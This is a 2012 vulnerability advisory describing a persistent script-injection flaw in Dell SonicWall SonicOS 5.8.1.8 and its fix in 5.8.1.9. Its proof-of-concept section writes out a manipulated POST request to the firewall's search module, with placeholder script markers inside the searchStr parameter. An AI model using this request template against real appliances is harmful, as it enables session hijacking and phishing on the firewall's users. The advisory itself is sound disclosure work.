Title: ====== SonicWall SonicOS 5.8.1.8 WAF - POST Inject Vulnerability Date: ===== 2012-12-18 References: =========== http://www.vulnerability-lab.com/get_content.php?id=769 DELL Sonicwall Bug ID [DSBID]: 123995 VL-ID: ===== 769 Common Vulnerability Scoring System: ==================================== 3.5 Introduction: ============= The Dell® SonicWALL® Network Security Appliance (NSA) Series combines the patented Dell SonicWALL Reassembly Free Deep Packet Inspection™ (RFDPI) engine with a powerful and massively scalable multi-core architecture to deliver intrusion prevention, gateway anti-virus, gateway anti-spyware, and application intelligence and control for businesses of all sizes. By integrating automated and dynamic security capabilities into a single platform, the NSA Series provides comprehensive Next-Generation Firewall protection without compromising performance. (Copy of the Vendor Homepage: http://www.sonicwall.com/us/en/products/NSA_Series.html) Abstract: ========= The Vulnerability Laboratory Research Team discovered a web vulnerability in the official DELL Sonicwall SonicOS v5.8.1.8 Firewall Series Appliance Application. Report-Timeline: ================ 2012-11-18: Researcher Notification & Coordination 2012-11-20: Vendor Notification 2012-11-20: Vendor Response/Feedback 2012-12-04: Vendor Fix/Patch (SonicOS 5.8.1.9) 2012-12-18: Public Disclosure Status: ======== Published Affected Products: ================== DELL Product: Sonicwall SonicOS v5.8.1.8 Exploitation-Technique: ======================= Remote Severity: ========= Medium Details: ======== A persistent POST Injection (input validation) vulnerability is detected in the official DELL Sonicwall SonicOS v5.8.1.8 Firewall Series Appliance Application. The vulnerability typus allows an attacker to inject via POST request own malicious script code in the vulnerable module on application side (persistent). The vulnerability is located in the Firewall > Match Object > Edit Match Object section when processing to request via the `Search > appFirewallObjects` module the bound vulnerable [searchStr] application parameter. The persistent injected script code will be executed out of the searchstr name listing web application context. The bug can be exploited with a low (restricted) privileged application user account and low required user inter action. Successful exploitation of the vulnerability result in persistent session hijacking, persistent phishing, external redirect, external malware loads and persistent vulnerable module context manipulation. Vulnerable Section(s): [+] Firewall > Match Object > Edit Match Object Vulnerable Module(s): [+] Search > appFirewallObjects Vulnerable Parameter(s): [+] [searchStr] - Name Listing Proof of Concept: ================= The persistent post injection vulnerability can be exploited by remote attackers with low privileged application user account and low required user interaction. For demonstration or reproduce ... Review: appFirewallObjects > searchStr csrfToken=benjamin1337 inputxml=<dbInfo><dbInfoRequest><pageId>appFirewallObjects</pageId><tableType>157</tableType><viewType>table</viewType> <cmd>get</cmd><sort>false</sort><searchStr><[PROVOKE EXCEPTION]>%20%20%20%20"><[PERSISTENT INJECTED SCRIPT CODE!]") <</searchStr></dbInfoRequest></dbInfo> --- POST REQUEST FULL (MANIPULATED!) --- Host=realtime.pentest.server.com User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0 Accept=application/json, text/javascript, */* Accept-Language=de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding=gzip, deflate DNT=1 Connection=keep-alive Content-Type= application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With=XMLHttpRequest Referer=https://realtime.pentest.server.com/appFirewallObjects.html? sortCol=1&sortInverted=0.html Content-Length=475 Cookie=__utma=31673917.1419029853.1353291737.1353291737.1353374336.9; %3FsortCol%3D1%26sortInverted%3D0.html; curUsr=; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0; 1034=0; 1035=0; 1040=4; 1041=1; 1042=0; 1043=0; 1044=0; 1045=0; 1022=true; 1007=applFolder; 2103=appFolderId Pragma=no-cache Cache-Control=no-cache POSTDATA=csrfToken=benjamin1337&inputxml= %3CdbInfo%3E%3CdbInfoRequest%3E%3CpageId%3E appFirewallObjects%3C%2FpageId%3E%3CtableType%3E157%3C%2FtableType%3E%3CviewType%3Etable%3C%2FviewType%3E%3Ccmd %3Eget%3C%2Fcmd%3E%3Csort%3Efalse %3C%2Fsort%3E%3CsearchStr%3E%3C-'%20[PERSISTENT INJECTED SCRIPT CODE!])+%3C%3C%2FsearchStr%3E%3C%2FdbInfoRequest%3E%3C %2FdbInfo%3E Reference(s): https://firewall.127.0.0.1:31337/dbselect.cgi https://2400mx.127.0.0.1:31337/dbselect.cgi Solution: ========= The vulnerability can be patch by parsing the name listing searchStr web application parameter request. 2012-12-04: Vendor Fix/Patch - Update or Upgrade your Sonicwall SonicOS v5.8.1.8 to v5.8.1.9 [Customer Area]. Risk: ===== The secuirty risk of the post injection web vulnerability is estimated as medium. Credits: ======== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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